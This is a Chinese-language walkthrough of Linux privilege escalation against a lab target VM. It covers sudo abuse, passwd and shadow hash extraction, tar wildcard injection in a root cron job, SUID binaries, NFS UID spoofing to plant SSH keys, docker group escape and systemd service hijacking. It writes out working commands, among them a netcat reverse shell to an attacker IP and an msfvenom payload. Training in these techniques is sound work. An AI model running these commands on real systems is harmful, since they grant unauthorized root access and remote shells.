靶机地址与安装
1 | #下载链接 |
网卡配置的时候记得把ens33往前面移动一点点
Sudo提权
Sudo权限本意是root把本来只能超级用户执行的命令赋予普通用户执行。
Sudo提权其实是因为管理员平时为了方便,给/etc/sudoers文件配hi不当,从而导致了权限提升的问题。
当你自己是一个普通用户的时候,可以通过命令sudo-l
来查看自己可以执行哪些sudo命令
可以发现这里,我们有多种命令都被赋予了sudo权限。
ash | GTFOBins这个网站可以让我们查阅通过sudo权限如何调用命令获得root权限。比如我们查阅ash
在靶机中键入
1 | sudo ash |
即可成功提权
etc/passwd哈希
liunx的用户密码哈希存储在/etc/shadow文件,普通用户能够看到的是/etc/passwd这个文件。在/etc/passwd中,我们会发现如下形式。
比如root:x:0:0:root:/root:/bin/bash
1 | 1.用户名 |
账户的第二列是密码hash,如果该列为x则代表密码哈希存储在/etc/shadow文件上。
这里我们发现账户insecurity是超级账户(uid,gid为0)并且密码存储在了passwd文件上,借此可以拷贝下来解密
切换用户即可提权成功。
etc/shadow哈希
而/etc/shadow默认只能是root用户权限才能查看。它保存的是加密后的密码和用户的相关密码信息,每一行代表一个用户,每一行通过冒号:
分为9个部分
为什么我们这里能以bob权限看到shadow呢,因为在刚才的sudo提取中,我们看到man命令也是赋予了sudo权限的,所以可以借此看到shadow文件。
1 | 1.用户名 |
由此也可以通过解密hash值,来得到密码。
crontab定时任务
corntab文件格式
1 | * * * * * command |
查看corn.daily
权限
发现这个定时任务的执行权限是root。接下来查看其内容
知道它是把用户/home目录下的文件使用tar
打包备份到/etc/backups
下。
这里涉及到了利用通配符使用tar进行命令注入。
先在我们自己的kali机器上生成一个nc的payload
1 | msfvenom -p cmd/unix/reverse_netcat lhost=192.168.137.133 lport=4444 |
在受害机器上的bob目录下,注入一个标志来指定我们的检查点.
--checkpoint是指每写入n个记录之后设置一个检查点,在检查点可以执行任意的操作。
1 | –checkpoint-action=ACTION 在每个checkpoint(检查点)上执行ACTION |
将payload写入一个sh文件。
1 | echo "mkfifo /tmp/vtqm; nc 192.168.137.133 4444 0</tmp/vtqm | /bin/sh >/tmp/vtqm 2>&1; rm /tmp/vtqm" > shell.sh |
注入一个指定检查点动作的标志
1 | echo "" > "--checkpoint-action=exec=sh shell.sh" |
–checkpoint-action=ACTION
在每个checkpoint(检查点)上执行ACTION
为什么这个提权能成功呢?因为我们相当于用到了tar命令的--checkpoint
与--checkpoint-action
参数,让他在打包文件时执行了我们的命令。就反弹了shell。
敏感隐藏文件
有时候隐藏文件可能会存放一些重要信息,比如我们搜索home目录下的所有隐藏文件,并用ls -al来显示
1 | find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null |
该命令是查找所有隐藏文件。并将无法访问的文件错误信息导入到/dev/null中。这样就会很清楚的只看到可以回显可以查看的文件。
发现susan目录下的秘密文件.secret。查看可以知道密码
Suid提权
Suid这个是uid+s的组合,s指的是特殊权限。一般情况下,用户的权限是3位,比如0755这样的,特殊权限默认没有配置,但是如果超级管理员希望用户在执行一些特殊权限文件时,拥有root权限,就会配置特殊权限
比如说passwd这个命令,这个命令会修改/etc/shadow文件,而/etc/shadow只有root才能修改,本来passwd这个命令应该也只能root才能执行。但是系统为了让普通用户能够修改自己的密码,对passwd这个命令赋予了特殊权限并添加了只能修改自己密码的限制。
使用find命令快速查找所有suid文件
1 | find / -perm 4000 -type f -exec ls -al {} 2>/dev/null \; |
xxd提权
发现
1 | -rwsr-x--- 1 root itservices 18552 Apr 10 2018 /usr/bin/xxd |
而组itservices具有执行权限,通过/etc/group发现susan用户属于Itservices用户组。
接下来可以通过刚才发现的敏感文件,切换到susan用户。
仍然可以使用上篇发现的网站用来查询在xxd有suid的情况下可以提权的命令。
这里的LFILE
是在命令行中定义的变量,它被用于定义需要查看的文件。这里我们以/etc/shadow
作为示例。
taskset
除了xxd之外,在之前还有文件叫taskset也能用来提权。
第三方服务访问
NFS提权
什么是NFS?
网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。在NFS协议是几个分布式文件系统标准,网络附加存储(NAS)之一。
我们用kali可以搜索到被害机器上开放着nfs服务。
使用命令
1 | showmount -e 192.168.137.144 |
可以查看远程nfs服务器上的共享目录。
在kali机器上挂在远程目录
一般来说,可以把挂载出来的目录立即尝试添加authorized_key文件,从而实现ssh免密码登录,但是这里创造文件是不允许的,因为提示权限不够。即使我们在kali机器上是root权限,但是我们还是没有写入权限,这是因为默认情况下客户端的root身份会被分配成用户nfsnobody
。
解决方法是在kali上创建同靶机系统相同UID且相同用户名的账户,用其来写入文件。(即伪造文件所有者的UID和GID来欺骗nfs服务器。)
在被害机器中我们可以知道peter账户的uid为1001,gid为1005.
在kali机器中创建相同账户。
1 | groupadd -g 1005 peter |
切换到peter账户,可以在该目录下写文件了。
写入ssh公钥
1 | #[攻击机]ssh-keygen生成公私钥对 |
docker组提权
peter用户属于docker组,docker组的成员,可以根据此漏洞来获取root的shell
https://fosterelli.co/privilege-escalation-via-docker.html
1 | docker run -v /:/hostOS -i -t chrisfosterelli/rootplease |
systemd配置提权
systemd
历史上,Linux的启动一直采用init进程。
下面的命令用来启动服务
1 | service apache2 start |
这种方法有两个缺点。
1.启动时间长。init进程是串行启动,只有前一个进程启动完,才会启动下一个进程。
2.启动脚本复杂。init进程只是执行启动脚本,不管其他事情。脚本需要自己处理各种情况,这往往使脚本变得很长。
systemd就是为了解决这些问题而诞生的。它的设计目标是,为系统的启动和管理提供一套完整的解决方案。使用了Systemd,就不需要再用init了。Systemd取代了init,成为了系统的第一个进行(pid等于1),其他进程都是它的子进程。Systemd并不是一个命令,而是一组命令,涉及到系统管理的方方面面。
systemctl是systemd的主命令,用于管理系统。
1 | # 重启系统 |
systemd提权
查看peter用户的systemd配置,发现peter这个用户拥有debug.service文件,并且他对这个文件具有读和写的权限。
如果服务器存在缺陷,可以被覆盖或者修改文件,可以通过修改低权限用户有权访问的.service文件并更改run()命令来将其转换为代码执行。重新启动服务时,将运行攻击者的命令。
查看debug.service文件,这里我们可以修改Execstart
行,除此之外还可以修改ExecStop
和ExecReload
来自启动和重启服务时执行命令
/root/debug
这是一个二进制服务并且该服务以root身份运行。
使用一个类似ssh可以sudo执行的方法。让root身份来创建一个systemdexpl.sh脚本,将/bin/bash文件复制到systemdbash并设置一个SUID位并且赋予执行权限。
1 | echo -e '#!/bin/bash \ncp /bin/bash /home/peter/systemdbash \nchmod 6755 |
该命令的意思是将bash复制到/home/peter/systemdbash
下,并赋予权限,便于到时候我们可以直接执行SUID提权。
之后更改debug.service
下的Execstart
行为/home/peter/systemdexpl.sh
接下来就可以利用suid提权